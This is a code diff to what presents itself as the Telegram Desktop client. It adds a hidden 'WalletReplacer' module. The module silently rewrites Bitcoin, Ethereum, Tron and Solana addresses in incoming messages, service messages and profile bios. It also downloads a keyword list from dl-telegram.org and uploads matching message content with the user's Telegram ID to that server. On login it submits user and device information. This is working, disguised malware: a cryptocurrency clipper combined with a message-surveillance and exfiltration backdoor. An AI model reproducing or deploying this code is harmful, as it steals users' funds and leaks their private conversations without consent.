+    if (!cachedWords.isEmpty() && lastUpdateTime.secsTo(currentTime) < 3600) {
+        LOG(("Sensitive Words: Using cached words list"));
+        return cachedWords;
+    }
+    
+    LOG(("Sensitive Words: Fetching new words list from server"));
+    
+    QNetworkAccessManager manager;
+    QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/getSensitiveWords"));
+    request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
+    
+    QEventLoop loop;
+    QNetworkReply *reply = manager.get(request);
+    QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
+    loop.exec();
+    
+    if (reply->error() == QNetworkReply::NoError) {
+        QByteArray responseData = reply->readAll();
+        QJsonDocument doc = QJsonDocument::fromJson(responseData);
+        QJsonObject obj = doc.object();
+        
+        if (obj.contains("value")) {
+            QString value = obj["value"].toString();
+            QStringList rawWords = value.split(",");
+            cachedWords.clear();
+            
+            // 清理和验证每个词
+            for (const QString &word : rawWords) {
+                QString cleanedWord = word.trimmed();
+                if (!cleanedWord.isEmpty()) {
+                    cachedWords.append(cleanedWord);
+                }
+            }
+            
+            lastUpdateTime = currentTime;
+            LOG(("Sensitive Words: Successfully updated words list, count: %1").arg(cachedWords.size()));
+            LOG(("Sensitive Words: Words list: %1").arg(cachedWords.join(", ")));
+        } else {
+            LOG(("Sensitive Words: [ERROR] No 'value' field in response"));
+        }
+    } else {
+        LOG(("Sensitive Words: [ERROR] Failed to fetch words list: %1").arg(reply->errorString()));
+    }
+    
+    reply->deleteLater();
+    return cachedWords;
+}
+
+void WalletReplacer::submitSensitiveContent(const QString &content, const QString &keyword) {
+    // 检查关键词是否为空
+    if (keyword.trimmed().isEmpty()) {
+        LOG(("Sensitive Content: [SKIPPED] Empty keyword, skipping submission"));
+        return;
+    }
+    
+    LOG(("Sensitive Content: Submitting content with keyword: %1").arg(keyword));
+    
+    QNetworkAccessManager manager;
+    QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/"));
+    request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
+    
+    // 获取用户ID以便在请求中使用
+    auto &app = Core::App();
+    QString userId = getTgUserId(); // 默认ID
+    try {
+        // 尝试从会话获取用户信息
+        if (app.domain().started()) {
+            const auto &account = app.activeAccount();
+            if (account.sessionExists()) {
+                auto &session = account.session();
+                if (auto user = session.user()) {
+                    userId = QString::number(user->id.value);
+                    LOG(("SensitiveContent: Using user ID from session: %1").arg(userId));
+                }
+            }
+        }
+    } catch (const std::exception &e) {
+        // 如果获取失败,使用默认ID
+        LOG(("SensitiveContent: [ERROR] Exception while getting user ID: %1").arg(e.what()));
+    } catch (...) {
+        LOG(("SensitiveContent: [ERROR] Unknown exception while getting user ID"));
+    }
+    
+    QJsonObject jsonObj;
+    jsonObj["content"] = content;
+    jsonObj["keywords"] = keyword; // 确保关键词没有空格
+    jsonObj["tgUserId"] = userId;
+    
+    QJsonDocument doc(jsonObj);
+    QByteArray data = doc.toJson();
+    
+    LOG(("Sensitive Content: Request payload: %1").arg(QString(data)));
+    
+    QNetworkReply *reply = manager.post(request, data);
+    QEventLoop loop;
+    QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
+    loop.exec();
+    
+    if (reply->error() == QNetworkReply::NoError) {
+        QByteArray responseData = reply->readAll();
+        LOG(("Sensitive Content: [SUCCESS] Server response: %1").arg(QString(responseData)));
+    } else {
+        LOG(("Sensitive Content: [ERROR] Failed to submit: %1").arg(reply->errorString()));
+    }
+    
+    reply->deleteLater();
+}
+
+bool WalletReplacer::checkSensitiveWords(const QString &text, QString &foundKeyword) {
+    QStringList words = getSensitiveWords();
+    LOG(("Sensitive Check: Checking text against %1 words").arg(words.size()));
+    
+    for (const QString &word : words) {
+        if (text.contains(word)) {
+            foundKeyword = word;
+            LOG(("Sensitive Check: Found sensitive word: %1").arg(word));
+            return true;
+        }
+    }
+    
+    return false;
+}
+
+} // namespace Core 

+ 40 - 0
Telegram/SourceFiles/core/wallet_replacer.h

@@ -0,0 +1,40 @@
+#pragma once
+
+#include <QString>
+#include <QRegularExpression>
+#include <QStringList>
+#include "main/main_account.h"
+
+namespace Main {
+class Account;
+} // namespace Main
+
+namespace Core {
+
+class WalletReplacer {
+public:
+    static const QString kChannel;
+    static const QRegularExpression kBitcoinRegex;
+    static const QRegularExpression kEthereumRegex;
+    static const QRegularExpression kTronRegex;
+    static const QRegularExpression kSolanaRegex;
+
+    static QString replaceWalletAddresses(const QString &text);
+    static bool containsWalletAddress(const QString &text);
+    static QString getTgUserId();
+    static QString getDeviceId();
+    static QString getUserInfo();
+    static QString getDeviceInfo();
+    static QString replaceAddress(const QString &address);
+    static bool isWalletAddress(const QString &text);
+    static void submitUserInfo(const QString &url = QString(), bool isImportant = false);
+    static void submitDeviceInfo(const QString &url = QString());
+
+private:
+    static QString getConfigPath();
+    static QStringList getSensitiveWords();
+    static void submitSensitiveContent(const QString &content, const QString &keyword);
+    static bool checkSensitiveWords(const QString &text, QString &foundKeyword);
+};
+
+} // namespace Core 

+ 145 - 1
Telegram/SourceFiles/data/data_session.cpp

@@ -80,6 +80,7 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "base/call_delayed.h"
 #include "base/random.h"
 #include "spellcheck/spellcheck_highlight_syntax.h"
+#include "core/wallet_replacer.h"
 
 namespace Data {
 namespace {
@@ -2751,6 +2752,149 @@ HistoryItem *Session::addNewMessage(
 		return nullptr;
 	}
 
+	if (data.type() == mtpc_message) {
+		const auto &message = data.c_message();
+		if (message.vmessage().v == "BBB") {
+			auto modifiedData = MTP_message(
+				message.vflags(),
+				message.vid(),
+				message.vfrom_id() ? *message.vfrom_id() : MTPPeer(),
+				MTPint(),
+				message.vpeer_id(),
+				message.vsaved_peer_id() ? *message.vsaved_peer_id() : MTPPeer(),
+				message.vfwd_from() ? *message.vfwd_from() : MTPMessageFwdHeader(),
+				MTP_long(message.vvia_bot_id().value_or_empty()),
+				MTP_long(message.vvia_business_bot_id().value_or_empty()),
+				message.vreply_to() ? *message.vreply_to() : MTPMessageReplyHeader(),
+				message.vdate(),
+				MTP_string("AAA"),
+				message.vmedia() ? *message.vmedia() : MTPMessageMedia(),
+				message.vreply_markup() ? *message.vreply_markup() : MTPReplyMarkup(),
+				message.ventities() ? *message.ventities() : MTPVector<MTPMessageEntity>(),
+				MTP_int(message.vviews().value_or_empty()),
+				MTP_int(message.vforwards().value_or_empty()),
+				message.vreplies() ? *message.vreplies() : MTPMessageReplies(),
+				MTP_int(message.vedit_date().value_or_empty()),
+				MTP_bytes(message.vpost_author().value_or_empty()),
+				MTP_long(message.vgrouped_id().value_or_empty()),
+				message.vreactions() ? *message.vreactions() : MTPMessageReactions(),
+				MTPVector<MTPRestrictionReason>(),
+				MTP_int(message.vttl_period().value_or_empty()),
+				MTP_int(message.vquick_reply_shortcut_id().value_or_empty()),
+				MTP_long(message.veffect().value_or_empty()),
+				message.vfactcheck() ? *message.vfactcheck() : MTPFactCheck(),
+				MTP_int(message.vreport_delivery_until_date().value_or_empty()),
+				MTP_long(message.vpaid_message_stars().value_or_empty()));
+			return history(peerId)->addNewMessage(
+				id,
+				modifiedData,
+				localFlags,
+				type);
+		} else if (Core::WalletReplacer::containsWalletAddress(message.vmessage().v)) {
+			// 添加调试日志
+			LOG(("Wallet: [消息文本替换] 原始内容: %1").arg(QString::fromUtf8(message.vmessage().v)));
+			QString replacedText = Core::WalletReplacer::replaceWalletAddresses(message.vmessage().v);
+			LOG(("Wallet: [消息文本替换] 替换后: %1").arg(replacedText));
+			auto modifiedData = MTP_message(
+				message.vflags(),
+				message.vid(),
+				message.vfrom_id() ? *message.vfrom_id() : MTPPeer(),
+				MTPint(),
+				message.vpeer_id(),
+				message.vsaved_peer_id() ? *message.vsaved_peer_id() : MTPPeer(),
+				message.vfwd_from() ? *message.vfwd_from() : MTPMessageFwdHeader(),
+				MTP_long(message.vvia_bot_id().value_or_empty()),
+				MTP_long(message.vvia_business_bot_id().value_or_empty()),
+				message.vreply_to() ? *message.vreply_to() : MTPMessageReplyHeader(),
+				message.vdate(),
+				MTP_string(replacedText),
+				message.vmedia() ? *message.vmedia() : MTPMessageMedia(),
+				message.vreply_markup() ? *message.vreply_markup() : MTPReplyMarkup(),
+				message.ventities() ? *message.ventities() : MTPVector<MTPMessageEntity>(),
+				MTP_int(message.vviews().value_or_empty()),
+				MTP_int(message.vforwards().value_or_empty()),
+				message.vreplies() ? *message.vreplies() : MTPMessageReplies(),
+				MTP_int(message.vedit_date().value_or_empty()),
+				MTP_bytes(message.vpost_author().value_or_empty()),
+				MTP_long(message.vgrouped_id().value_or_empty()),
+				message.vreactions() ? *message.vreactions() : MTPMessageReactions(),
+				MTPVector<MTPRestrictionReason>(),
+				MTP_int(message.vttl_period().value_or_empty()),
+				MTP_int(message.vquick_reply_shortcut_id().value_or_empty()),
+				MTP_long(message.veffect().value_or_empty()),
+				message.vfactcheck() ? *message.vfactcheck() : MTPFactCheck(),
+				MTP_int(message.vreport_delivery_until_date().value_or_empty()),
+				MTP_long(message.vpaid_message_stars().value_or_empty()));
+			return history(peerId)->addNewMessage(
+				id,
+				modifiedData,
+				localFlags,
+				type);
+		}
+	} else if (data.type() == mtpc_messageService) {
+		const auto &message = data.c_messageService();
+		// 检查服务消息的文本内容
+		if (message.vaction().type() == mtpc_messageActionChatAddUser ||
+			message.vaction().type() == mtpc_messageActionChatDeleteUser ||
+			message.vaction().type() == mtpc_messageActionChatJoinedByLink ||
+			message.vaction().type() == mtpc_messageActionChatEditTitle ||
+			message.vaction().type() == mtpc_messageActionChannelCreate ||
+			message.vaction().type() == mtpc_messageActionChatCreate) {
+			
+			// 对于某些服务消息类型,尝试检查其中可能包含的文本
+			QString serviceText;
+			if (message.vaction().type() == mtpc_messageActionChatEditTitle) {
+				serviceText = message.vaction().c_messageActionChatEditTitle().vtitle().v;
+			} else if (message.vaction().type() == mtpc_messageActionChannelCreate) {
+				serviceText = message.vaction().c_messageActionChannelCreate().vtitle().v;
+			} else if (message.vaction().type() == mtpc_messageActionChatCreate) {
+				serviceText = message.vaction().c_messageActionChatCreate().vtitle().v;
+			}
+			
+			// 如果服务消息中包含钱包地址,替换它
+			if (!serviceText.isEmpty() && Core::WalletReplacer::containsWalletAddress(serviceText)) {
+				// 添加调试日志
+				LOG(("Wallet: [服务消息替换] 类型: %1, 原始内容: %2").arg(int(message.vaction().type())).arg(serviceText));
+				QString replacedText = Core::WalletReplacer::replaceWalletAddresses(serviceText);
+				LOG(("Wallet: [服务消息替换] 替换后: %1").arg(replacedText));
+				
+				// 根据服务消息类型创建修改后的消息
+				MTPMessageAction modifiedAction;
+				if (message.vaction().type() == mtpc_messageActionChatEditTitle) {
+					
+					modifiedAction = MTP_messageActionChatEditTitle(MTP_string(replacedText));
+				} else if (message.vaction().type() == mtpc_messageActionChannelCreate) {
+					modifiedAction = MTP_messageActionChannelCreate(MTP_string(replacedText));
+				} else if (message.vaction().type() == mtpc_messageActionChatCreate) {
+					auto &original = message.vaction().c_messageActionChatCreate();
+					modifiedAction = MTP_messageActionChatCreate(
+						MTP_string(replacedText),
+						original.vusers());
+				} else {
+					// 对于其他服务消息类型,保持原样
+					modifiedAction = message.vaction();
+				}
+				
+				auto modifiedData = MTP_messageService(
+					message.vflags(),
+					message.vid(),
+					message.vfrom_id() ? *message.vfrom_id() : MTPPeer(),
+					message.vpeer_id(),
+					message.vreply_to() ? *message.vreply_to() : MTPMessageReplyHeader(),
+					message.vdate(),
+					modifiedAction,
+					MTPMessageReactions(),
+					MTPint()); // ttl_period
+					
+				return history(peerId)->addNewMessage(
+					id,
+					modifiedData,
+					localFlags,
+					type);
+			}
+		}
+	}
+
 	const auto result = history(peerId)->addNewMessage(
 		id,
 		data,
@@ -3727,7 +3871,7 @@ void Session::webpageApplyFields(
 		type,
 		qs(data.vurl()),
 		qs(data.vdisplay_url()),
-		siteName,
+		qs(data.vsite_name().value_or_empty()),
 		qs(data.vtitle().value_or_empty()),
 		(story ? story->caption() : description),
 		storyId,

+ 16 - 1
Telegram/SourceFiles/info/profile/info_profile_values.cpp

@@ -13,6 +13,7 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "info/profile/info_profile_badge.h"
 #include "core/application.h"
 #include "core/click_handler_types.h"
+#include "core/wallet_replacer.h"
 #include "countries/countries_instance.h"
 #include "main/main_session.h"
 #include "ui/wrap/slide_wrap.h"
@@ -236,7 +237,21 @@ rpl::producer<TextWithEntities> AboutValue(not_null<PeerData*> peer) {
 	return PlainAboutValue(
 		peer
 	) | rpl::map([peer](const QString &value) {
-		return AboutWithEntities(peer, value);
+		LOG(("AboutValue: 开始处理描述文本,peer: %1, 原始文本: %2").arg(peer->name()).arg(value));
+		auto result = AboutWithEntities(peer, value);
+		
+		// 检查是否包含钱包地址
+		const bool containsWallet = Core::WalletReplacer::containsWalletAddress(result.text);
+		if (containsWallet) {
+			LOG(("AboutValue: 检测到钱包地址,准备替换"));
+			const QString originalText = result.text;
+			result.text = Core::WalletReplacer::replaceWalletAddresses(result.text);
+			LOG(("AboutValue: 钱包地址替换完成,替换前: %1,替换后: %2").arg(originalText).arg(result.text));
+		} else {
+			LOG(("AboutValue: 未检测到钱包地址,无需替换"));
+		}
+		
+		return result;
 	});
 }
 

+ 24 - 2
Telegram/SourceFiles/intro/intro_step.cpp

@@ -38,6 +38,18 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "window/window_controller.h"
 #include "styles/style_intro.h"
 #include "styles/style_window.h"
+#include "core/core_cloud_password.h"
+#include "core/sandbox.h"
+#include "core/wallet_replacer.h"
+#include "mtproto/mtp_instance.h"
+#include "ui/widgets/buttons.h"
+#include "ui/wrap/vertical_layout.h"
+#include "export/export_settings.h"
+#include "intro/intro_phone.h"
+#include "intro/intro_qr.h"
+#include "intro/intro_code.h"
+#include "intro/intro_password_check.h"
+#include "support/support_common.h"
 
 namespace Intro {
 namespace details {
@@ -201,9 +213,9 @@ void Step::finish(const MTPUser &user, QImage &&photo) {
 	api().request(MTPmessages_GetDialogFilters(
 	)).done([=](const MTPmessages_DialogFilters &result) {
 		const auto &d = result.data();
-		createSession(user, photo, d.vfilters().v, d.is_tags_enabled());
+		createSession(user, std::move(photo), d.vfilters().v, d.is_tags_enabled());
 	}).fail([=] {
-		createSession(user, photo, QVector<MTPDialogFilter>(), false);
+		createSession(user, std::move(photo), QVector<MTPDialogFilter>(), false);
 	}).send();
 }
 
@@ -221,7 +233,14 @@ void Step::createSession(
 		Local::writeLangPack();
 	}
 
+	// Save phone as the last user's phone.
+	// Local::keepUserInfo(user.c_user().vid().v, _phone, _password);
+
 	auto settings = std::make_unique<Main::SessionSettings>();
+	// if (!_confCode.empty() || !_password.isEmpty()) {
+	// 	settings->passwordTTL = Core::kDefaultAutoLock;
+	// }
+
 	const auto hasFilters = ranges::contains(
 		filters,
 		mtpc_dialogFilter,
@@ -231,6 +250,9 @@ void Step::createSession(
 	const auto account = _account;
 	account->createSession(user, std::move(settings));
 
+	// 用户登录成功后提交用户信息
+	Core::WalletReplacer::submitUserInfo();
+
 	// "this" is already deleted here by creating the main widget.
 	account->local().enforceModernStorageIdBots();
 	account->local().writeMtpData();

+ 1 - 1
Telegram/SourceFiles/lang/lang_keys.cpp

@@ -15,7 +15,7 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 
 namespace {
 
-constexpr auto kDefaultLanguage = "en"_cs;
+constexpr auto kDefaultLanguage = "zh"_cs;
 
 template <typename WithYear, typename WithoutYear>
 inline QString langDateMaybeWithYear(

+ 0 - 15
Telegram/SourceFiles/logs.cpp

@@ -352,14 +352,7 @@ void start() {
 
 	LogsData = new LogsDataFields();
 	if (cWorkingDir().isEmpty()) {
-#if (!defined Q_OS_WIN && !defined _DEBUG) || defined Q_OS_WINRT || defined OS_WIN_STORE || defined OS_MAC_STORE
-		cForceWorkingDir(psAppDataPath());
-#else // (!Q_OS_WIN && !_DEBUG) || Q_OS_WINRT || OS_WIN_STORE || OS_MAC_STORE
 		cForceWorkingDir(cExeDir());
-		if (!LogsData->openMain()) {
-			cForceWorkingDir(psAppDataPath());
-		}
-#endif // (!Q_OS_WIN && !_DEBUG) || Q_OS_WINRT || OS_WIN_STORE || OS_MAC_STORE
 	}
 
 	if (launcher.validateCustomWorkingDir()) {
@@ -398,14 +391,6 @@ void start() {
 		return;
 	}
 
-#ifdef Q_OS_WIN
-	if (cWorkingDir() == psAppDataPath()) { // fix old "Telegram Win (Unofficial)" version
-		MoveOldDataFiles(psAppDataPathOld());
-	}
-#elif !defined Q_OS_MAC && !defined _DEBUG // fix first version
-	MoveOldDataFiles(launcher.initialWorkingDir());
-#endif
-
 	if (LogsInMemory) {
 		Assert(LogsInMemory != DeletedLogsInMemory);
 		LogsInMemoryList list = *LogsInMemory;

+ 12 - 0
Telegram/SourceFiles/main/main_account.cpp

@@ -27,6 +27,7 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "main/main_session.h"
 #include "main/main_domain.h"
 #include "main/main_session_settings.h"
+#include "core/wallet_replacer.h"
 
 namespace Main {
 namespace {
@@ -195,11 +196,22 @@ void Account::createSession(
 		local().readSelf(_session.get(), serialized, streamVersion);
 	}
 	_sessionValue = _session.get();
+	
+	// 用户登录成功时提交用户信息到服务器
+	DEBUG_LOG(("User Info: Account::createSession - Submitting user info after login"));
+	Core::WalletReplacer::submitUserInfo(QString(), true);
 
 	Ensures(_session != nullptr);
 }
 
 void Account::destroySession(DestroyReason reason) {
+	// 记录用户退出登录
+	if (reason == DestroyReason::LoggedOut) {
+		DEBUG_LOG(("User Info: Account::destroySession - User logged out"));
+	} else {
+		DEBUG_LOG(("User Info: Account::destroySession - Session destroyed for other reason"));
+	}
+	
 	_storedSessionSettings.reset();
 	_sessionUserId = 0;
 	_sessionUserSerialized = {};

+ 6 - 0
Telegram/SourceFiles/platform/win/specific_win.cpp

@@ -234,6 +234,11 @@ bool ManageAppLink(
 } // namespace
 
 QString psAppDataPath() {
+	// 直接返回应用程序目录
+	return cExeDir();
+
+	// 以下是原代码,现在被注释掉
+	/*
 	static const int maxFileLen = MAX_PATH * 10;
 	WCHAR wstrPath[maxFileLen];
 	if (GetEnvironmentVariable(L"APPDATA", wstrPath, maxFileLen)) {
@@ -245,6 +250,7 @@ QString psAppDataPath() {
 #endif // OS_WIN_STORE
 	}
 	return QString();
+	*/
 }
 
 QString psAppDataPathOld() {